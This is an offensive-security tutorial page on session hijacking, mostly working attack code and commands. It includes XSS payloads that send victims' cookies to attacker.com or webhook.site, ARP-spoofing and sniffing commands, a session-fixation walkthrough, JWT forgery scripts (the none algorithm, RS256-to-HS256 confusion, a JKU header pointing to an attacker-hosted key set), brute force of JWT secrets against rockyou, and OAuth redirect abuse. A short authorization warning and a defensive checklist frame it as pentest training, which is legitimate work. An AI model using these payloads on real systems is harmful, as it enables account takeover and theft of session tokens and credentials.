Session Attacks
Master session hijacking, cookie theft, and token manipulation techniques to maintain and expand access after initial exploitation.
Authorization Required
Session attacks can have significant impact. Ensure explicit authorization and document
all session tokens captured during testing.
🎯 Session Attack Fundamentals
Session Hijacking: Stealing or predicting session tokens to impersonate authenticated users
Cookie Theft: Extracting session cookies via XSS, network sniffing, or client-side attacks
Token Manipulation: Modifying JWTs, API tokens, or session identifiers to escalate privileges
Session Fixation: Forcing victims to use attacker-controlled session IDs
Tools & Resources
Session Hijacking Techniques
Cookie Theft via XSS
If cookies lack the HttpOnly flag, JavaScript can access and exfiltrate them.
javascript
// Basic cookie exfiltration
<script>
new Image().src='https://attacker.com/steal?c='+document.cookie;
</script>
// Alternative using fetch
<script>
fetch('https://attacker.com/steal?c='+btoa(document.cookie));
</script>
// Using external service for testing
<script>
document.location='https://webhook.site/YOUR-ID?c='+document.cookie;
</script>
// More stealthy exfiltration (DNS)
<script>
var c = btoa(document.cookie);
var img = new Image();
img.src = 'https://'+c+'.attacker.com/x.gif';
</script>Session Token Prediction
Analyze session token patterns to predict valid tokens.
bash
# Collect multiple session tokens
for i in {1..100}; do
curl -s -c - 'https://target.com/login' | grep -i session
sleep 0.1
done > session_tokens.txt
# Analyze token entropy with Burp Sequencer
# Import tokens and run statistical analysis
# Python script to analyze token patterns
import hashlib
import time
tokens = open('session_tokens.txt').readlines()
# Check for timestamp-based tokens
for token in tokens:
# Decode base64 if needed
try:
decoded = base64.b64decode(token)
print(f"Decoded: {decoded}")
except:
pass
# Check for sequential patterns
# Look for embedded timestamps
# Burp Intruder - brute force sequential tokens
# If tokens are sequential: SESS001, SESS002, etc.
# Use Numbers payload: 1-10000Network-Based Session Theft
bash
# Capture session cookies with tcpdump (unencrypted traffic)
sudo tcpdump -i eth0 -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' | grep -i 'cookie\|session'
# Using mitmproxy for HTTPS interception
mitmproxy --mode transparent --showhost
# Capture with Wireshark filter
http.cookie contains "session" or http.set_cookie contains "session"
# ARP spoofing to position for MITM (with authorization!)
# Using arpspoof
sudo arpspoof -i eth0 -t <victim_ip> <gateway_ip>
sudo arpspoof -i eth0 -t <gateway_ip> <victim_ip>
# Using Bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.10
> arp.spoof on
> net.sniff onSession Fixation Attacks
Session fixation forces a victim to use an attacker-controlled session ID, allowing account takeover after the victim authenticates.
bash
# Step 1: Attacker gets a valid session ID
curl -c cookies.txt 'https://target.com/login'
# Extract session ID: PHPSESSID=abc123
# Step 2: Send fixation link to victim
# URL-based fixation
https://target.com/login?PHPSESSID=abc123
# Cookie-based fixation (via XSS or subdomain)
<script>document.cookie='PHPSESSID=abc123';</script>
# Step 3: Wait for victim to authenticate
# Step 4: Use the fixed session
curl -b 'PHPSESSID=abc123' 'https://target.com/dashboard'
# Testing for session fixation vulnerability
# 1. Note pre-auth session ID
# 2. Authenticate
# 3. Check if session ID changed
# If same = vulnerable
# Python test script
import requests
# Get pre-auth session
s = requests.Session()
s.get('https://target.com/')
pre_auth = s.cookies.get('PHPSESSID')
# Authenticate
s.post('https://target.com/login', data={'user': 'test', 'pass': 'test'})
post_auth = s.cookies.get('PHPSESSID')
if pre_auth == post_auth:
print('[VULNERABLE] Session ID not regenerated after login!')
else:
print('[SECURE] Session ID regenerated')JWT Token Attacks
JWT Structure
JWTs have three parts: Header.Payload.Signature (base64 encoded). Many attacks target
weak signature validation or algorithm confusion.
None Algorithm Attack
bash
# Decode JWT to see structure
echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c' | cut -d'.' -f1 | base64 -d
# None algorithm bypass
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Create modified token (no signature)
python3 << 'EOF'
import base64
import json
# Modified header - algorithm none
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "1234567890", "name": "admin", "role": "admin", "iat": 1516239022}
# Base64 encode (URL-safe, no padding)
def b64encode(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b'=').decode()
# Create token with empty signature
token = f"{b64encode(header)}.{b64encode(payload)}."
print(token)
EOF
# Using jwt_tool
jwt_tool <token> -X a # Test algorithm 'none'
jwt_tool <token> -I -pc role -pv admin # Inject claimAlgorithm Confusion (RS256 to HS256)
bash
# If server uses RS256 but accepts HS256
# Attacker can sign with the public key
# Get the public key (often in /jwks.json or /.well-known/jwks.json)
curl -s 'https://target.com/.well-known/jwks.json' | jq
# Convert JWK to PEM
python3 << 'EOF'
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import jwt
import json
import requests
# Get JWKS
jwks = requests.get('https://target.com/.well-known/jwks.json').json()
public_key_jwk = jwks['keys'][0]
# Use public key as HMAC secret
# Sign new token with HS256 using public key as secret
payload = {"sub": "admin", "role": "administrator"}
# Read public key as bytes
with open('public_key.pem', 'rb') as f:
public_key = f.read()
# Create forged token
forged = jwt.encode(payload, public_key, algorithm='HS256')
print(forged)
EOF
# Using jwt_tool
jwt_tool <token> -X k -pk public_key.pem # Key confusion attackJWT Secret Brute Force
bash
# Brute force weak JWT secrets
# Using jwt_tool
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt
# Using hashcat (mode 16500 for JWT)
# Extract hash format from JWT
echo '<full_jwt_token>' > jwt.txt
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Using John the Ripper
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# Python brute force script
import jwt
import sys
token = sys.argv[1]
wordlist = open('/usr/share/wordlists/rockyou.txt', 'r', errors='ignore')
for secret in wordlist:
secret = secret.strip()
try:
jwt.decode(token, secret, algorithms=['HS256'])
print(f'[+] Secret found: {secret}')
break
except jwt.InvalidSignatureError:
continue
# Common weak secrets to try:
# secret, password, 123456, qwerty, admin, keyJKU/X5U Header Injection
bash
# JKU (JWK Set URL) header injection
# Attacker hosts malicious JWKS endpoint
# Step 1: Generate key pair
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
# Step 2: Create JWKS file (host on attacker server)
python3 << 'EOF'
import json
from jwcrypto import jwk
with open('attacker_public.pem', 'rb') as f:
key = jwk.JWK.from_pem(f.read())
jwks = {"keys": [json.loads(key.export())]}
print(json.dumps(jwks, indent=2))
EOF
# Step 3: Create token with malicious jku header
python3 << 'EOF'
import jwt
import json
header = {
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/jwks.json" # Attacker-controlled
}
payload = {"sub": "admin", "role": "administrator"}
with open('attacker_private.pem', 'rb') as f:
private_key = f.read()
token = jwt.encode(payload, private_key, algorithm='RS256', headers=header)
print(token)
EOF
# Using jwt_tool
jwt_tool <token> -X s -ju https://attacker.com/jwks.jsonCookie Manipulation Techniques
Cookie Attribute Analysis
bash
# Analyze cookie security attributes
curl -v 'https://target.com/login' 2>&1 | grep -i 'set-cookie'
# Check for missing security flags:
# - HttpOnly: Prevents JavaScript access
# - Secure: Only sent over HTTPS
# - SameSite: CSRF protection
# Python cookie analyzer
import requests
r = requests.get('https://target.com/')
for cookie in r.cookies:
print(f"Name: {cookie.name}")
print(f" Value: {cookie.value}")
print(f" Domain: {cookie.domain}")
print(f" Path: {cookie.path}")
print(f" Secure: {cookie.secure}")
print(f" HttpOnly: {cookie.has_nonstandard_attr('HttpOnly')}")
print()
# Burp Suite - inspect Set-Cookie headers
# Look for:
# - Missing HttpOnly (can steal via XSS)
# - Missing Secure (can intercept on HTTP)
# - SameSite=None (vulnerable to CSRF)Cookie Tampering
bash
# Decode and modify cookie values
# Base64 encoded cookies
echo 'YWRtaW49ZmFsc2U=' | base64 -d
# admin=false
echo 'admin=true' | base64
# YWRtaW49dHJ1ZQo=
# Serialized PHP session cookies
# Identify: a:2:{s:4:"user";s:5:"guest";s:5:"admin";b:0;}
# Modify: a:2:{s:4:"user";s:5:"admin";s:5:"admin";b:1;}
# JSON cookies
# Original: {"user":"guest","role":"user"}
# Modified: {"user":"admin","role":"admin"}
# Test modified cookies
curl -b 'session=YWRtaW49dHJ1ZQ==' 'https://target.com/admin'
# Cookie signing bypass attempts
# If signed: value.signature
# Try removing signature
# Try truncating signature
# Try signature confusion attacksCookie Scope Attacks
bash
# Cookie scope manipulation
# If cookie is set for .example.com
# Accessible from any subdomain
# Subdomain takeover for cookie theft
# 1. Find dangling DNS records
subfinder -d example.com | httpx -sc -title | grep -v 200
# 2. Claim abandoned subdomain
# 3. Host malicious page to steal cookies
# Cookie tossing attack
# Inject cookie from subdomain to override parent domain cookie
# On attacker.example.com:
<script>
document.cookie = "session=attacker_token; domain=.example.com; path=/";
</script>
# Parent domain path confusion
# Cookie set for /admin/ won't be sent to /Admin/
# Test case sensitivity in cookie pathsSession Replay Attacks
bash
# Capture and replay authenticated requests
# Using Burp Suite
# 1. Intercept authenticated request
# 2. Send to Repeater
# 3. Replay after session should expire
# Test session timeout
# 1. Login and note session token
# 2. Wait for timeout period
# 3. Attempt to use session token
curl -b 'PHPSESSID=old_token' 'https://target.com/dashboard'
# Test concurrent sessions
# 1. Login on device A
# 2. Login on device B
# 3. Check if device A session is invalidated
# Test logout functionality
# 1. Login and save session token
# 2. Logout
# 3. Try using old session token
session_token="abc123"
curl -b "session=$session_token" 'https://target.com/logout' -v
curl -b "session=$session_token" 'https://target.com/dashboard'
# Test session invalidation after password change
# 1. Login on multiple devices
# 2. Change password
# 3. Check if other sessions are invalidatedAPI Token Attacks
bash
# Find exposed API tokens
# Check JavaScript files
curl -s 'https://target.com/app.js' | grep -Ei 'api[_-]?key|token|secret|bearer'
# Check HTML source
curl -s 'https://target.com/' | grep -Ei 'data-token|api-key|authorization'
# Check mobile app traffic
# Use mitmproxy or Burp to intercept API calls
mitmproxy --mode regular
# Configure mobile device proxy to attacker
# Token in URL (logged in web servers, referer headers)
# https://api.target.com/data?api_key=secret123
# Check for token leakage in Referer header
# Bearer token manipulation
# Original: Authorization: Bearer user_token
# Test: Authorization: Bearer admin_token
# Test token scope
# Try accessing endpoints beyond token's intended scope
for endpoint in /admin /users /config /debug; do
curl -H "Authorization: Bearer $token" "https://api.target.com$endpoint"
done
# Check for token reuse across environments
# Dev token on prod, staging token on prod, etc.OAuth/OIDC Session Attacks
bash
# OAuth token theft via open redirect
# Find open redirect in redirect_uri validation
https://oauth.target.com/authorize?
response_type=code&
client_id=app&
redirect_uri=https://target.com/callback/../../../attacker.com&
state=xyz
# Authorization code interception
# If code is leaked (referer, logs), attacker can exchange for token
# Mitigated by PKCE - test if PKCE is enforced
# Test PKCE bypass
# Try omitting code_verifier in token exchange
curl -X POST 'https://oauth.target.com/token' -d 'grant_type=authorization_code' -d 'code=AUTHORIZATION_CODE' -d 'client_id=app' -d 'redirect_uri=https://target.com/callback'
# Note: no code_verifier
# Implicit flow token theft (deprecated but still seen)
# Token in URL fragment can be leaked via referer
https://oauth.target.com/authorize?
response_type=token&
client_id=app&
redirect_uri=https://target.com/callback
# Token returned in fragment: https://target.com/callback#access_token=xxx
# Attacker page can read via document.location.hash
# State parameter bypass
# Try requests without state parameter
# Try reusing old state values
# Try predictable state valuesSession Attack Testing Checklist
🍪 Cookie Security
- ☐ HttpOnly flag present on session cookies
- ☐ Secure flag present (HTTPS only)
- ☐ SameSite attribute properly configured
- ☐ Cookie scope properly restricted
- ☐ Sensitive data not stored in cookies
🔑 Session Management
- ☐ Session ID regenerated after login
- ☐ Session invalidated on logout
- ☐ Appropriate session timeout configured
- ☐ Concurrent session controls in place
- ☐ Session tokens have sufficient entropy
🎫 JWT Security
- ☐ Algorithm 'none' rejected
- ☐ Algorithm confusion prevented
- ☐ Strong signing secret used
- ☐ JKU/X5U headers validated
- ☐ Token expiration enforced
🔐 OAuth/API Tokens
- ☐ PKCE enforced for OAuth flows
- ☐ State parameter validated
- ☐ Redirect URI strictly validated
- ☐ API tokens properly scoped
- ☐ Token rotation implemented
Practice Labs
PortSwigger JWT Labs
Practice JWT attacks including algorithm confusion and weak secrets
Authentication Labs
Session management vulnerabilities and authentication bypass
OWASP Juice Shop
Session-related challenges including JWT and cookie tampering
jwt_tool Practice
Comprehensive JWT testing toolkit with vulnerable examples